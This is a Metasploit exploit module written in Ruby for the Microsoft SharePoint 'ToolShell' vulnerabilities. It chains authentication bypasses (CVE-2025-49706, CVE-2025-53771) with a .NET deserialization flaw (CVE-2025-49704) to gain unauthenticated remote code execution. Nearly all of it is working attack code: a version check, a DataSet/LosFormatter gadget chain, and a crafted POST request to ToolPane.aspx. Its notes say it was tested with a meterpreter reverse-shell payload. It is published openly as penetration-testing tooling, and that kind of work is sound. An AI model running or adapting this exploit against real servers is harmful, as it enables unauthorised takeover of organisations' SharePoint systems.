📄 Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
            'Description' => %q{
              This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe
              deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft
              SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,
              and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.
              As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),
              we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              # Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
              # Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771.
              'Viettel Cyber Security',
              # Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704.
              'sfewer-r7'
            ],
            'References' => [
              # Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
              ['CVE', '2025-49704'],
              # Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
              ['CVE', '2025-49706'],
              # Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path.
              ['CVE', '2025-53770'],
              # Patch bypass for CVE-2025-49706.
              ['CVE', '2025-53771'],
              # Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
              ['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
              # LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704.
              ['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'],
              # Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky.
              ['URL', 'https://securelist.com/toolshell-explained/'],
              # ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
              ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
              ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
              # Microsoft advisories for CVE-2025-49704 and CVE-2025-49706.
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'],
              # Microsoft advisories for CVE-2025-53770 and CVE-2025-53771.
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
              # Microsoft Guidance.
              ['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'],
              ['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
              # The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025.
              ['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
              # Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
              ['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
              # Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
              ['URL', 'https://x.com/thezdi/status/1923317597673533552'],
              # Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
              ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
            ],
            'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706.
            'Platform' => ['win'],
            'Arch' => [ARCH_CMD],
            'Privileged' => false, # Executes as the SharePoint site user.
            'Targets' => [
              [
                'Default', {}
              ]
            ],
            # NOTE: Tested with the following payloads:
            #   cmd/windows/http/x64/meterpreter/reverse_tcp
            #   cmd/windows/generic
            'DefaultOptions' => {
              'RPORT' => 80,
              'SSL' => false,
              # Delete the fetch binary after execution.
              'FETCH_DELETE' => true,
              # The root path of the SharePoint site
              'URIPATH' => '/'
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
        )
    
        return CheckCode::Unknown('Connection failed') unless res
    
        return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
    
        # The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
        # called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
        # header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
        site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
    
        return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
    
        version = Rex::Version.new(site_client_tag[1])
    
        # We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
        # compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
        # the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
        # from July 2025).
        # Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint
        # configuration update has not also manually occurred.
        # https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
        # https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
    
        ranges = [
          [
            'Microsoft SharePoint Server Subscription Edition',
            '16.0.14326.20450', # The RTM version (circa 2021)
            '16.0.18526.20424' # July 2025
          ],
          [
            'Microsoft SharePoint Server 2019',
            '16.0.10337.12109', # The RTM version (circa 2019)
            '16.0.10417.20027' # July 2025
          ],
          [
            'Microsoft SharePoint Enterprise Server 2016',
            '16.0.4351.1000', # The RTM version (circa 2017)
            '16.0.5508.1000' # July 2025
          ],
          # NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
          [
            'SharePoint Server 2013',
            '15.0.4481.1005',
            '15.0.5545.1000' # Last version before end of support.
          ],
          [
            'SharePoint Server 2010',
            '14.0.7015.1000',
            '14.0.7268.5000' # Last version before end of support.
          ]
        ]
    
        ranges.each do |product, rtm_version, patch_version|
          if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
            return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
          end
        end
    
        # If we get here, it's a patched version.
        Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
      end
    
      def exploit
        gadget_raw = create_gadget_chain
        send_exploit(gadget_raw)
      end
    
      # This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
      # and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
      # been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
      # TypeConfuseDelegate gadget chain).
      class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
    
        def self.generate(nested_gadget_b64)
          name_a = Rex::Text.rand_text_alpha_lower(8..16)
          name_b = Rex::Text.rand_text_alpha_lower(8..16)
          name_c = Rex::Text.rand_text_alpha_lower(8..16)
    
          # The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
          # LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second
          # stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
          schema = <<~EOF
            <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
              <xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
                  <xs:complexType>
                      <xs:choice minOccurs="0" maxOccurs="unbounded">
                          <xs:element name="#{name_b}">
                              <xs:complexType>
                                  <xs:sequence>
                                      <xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
                                  </xs:sequence>
                              </xs:complexType>
                          </xs:element>
                      </xs:choice>
                  </xs:complexType>
              </xs:element>
            </xs:schema>
          EOF
    
          diffgram = <<~EOF
            <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
                <#{name_a}>
                    <#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
                        <#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
                            <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
                                <ExpandedElement/>
                                <ProjectedProperty0>
                                    <MethodName>Deserialize</MethodName>
                                    <MethodParameters>
                                        <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
                                    </MethodParameters>
                                    <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
                                </ProjectedProperty0>
                            </ExpandedWrapperOfLosFormatterObjectDataProvider>
                        </#{name_c}>
                    </#{name_b}>
                </#{name_a}>
            </diffgr:diffgram>
          EOF
    
          system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
    
          library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
            library_id: 2,
            library_name: system.to_s
          )
    
          from_values([
            Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
            library,
            Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
              class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
                obj_id: 1,
                name: 'System.Data.DataSet',
                member_names: %w[XmlSchema XmlDiffGram]
              ),
              member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
                binary_type_enums: %i[String String]
              ),
              library_id: library.library_id,
              member_values: [
                Msf::Util::DotNetDeserialization::Types::Record.from_value(
                  Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
                    obj_id: 3,
                    string: schema
                  )
                ),
                Msf::Util::DotNetDeserialization::Types::Record.from_value(
                  Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
                    obj_id: 2,
                    string: diffgram
                  )
                ),
              ]
            ),
            Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
          ])
        end
      end
    
      def create_gadget_chain
        # NOTE: Depending on the version of SharePoint, different gadgets can be used.
        #
        # * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
        # 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
        #
        # * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
        # work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
        # (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
    
        typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
          payload.encoded,
          gadget_chain: :TypeConfuseDelegate,
          formatter: :LosFormatter
        )
    
        vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
        vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
    
        typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
    
        dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
    
        vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
        vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
    
        dataset_gadget_raw
      end
    
      def send_exploit(gadget_raw)
        gadget_gzip = StringIO.new
    
        gzip = Zlib::GzipWriter.new(gadget_gzip)
        gzip.write(gadget_raw)
        gzip.close
    
        namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
        namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
    
        xml = <<~EOF
          <%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
          <%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
            <#{namespace_ui}:UpdateProgress>
              <ProgressTemplate>
                <#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
              </ProgressTemplate>
            </#{namespace_ui}:UpdateProgress>
        EOF
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(
            target_uri.path,
            '_layouts',
            '15',
            'ToolPane.aspx',
            Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
          ),
          'ctype' => 'application/x-www-form-urlencoded',
          'headers' => {
            'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
          },
          'vars_get' => {
            'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
            Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
          },
          'vars_post' => {
            'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
            'MSOTlPn_DWP' => xml
          }
        )
      end
    end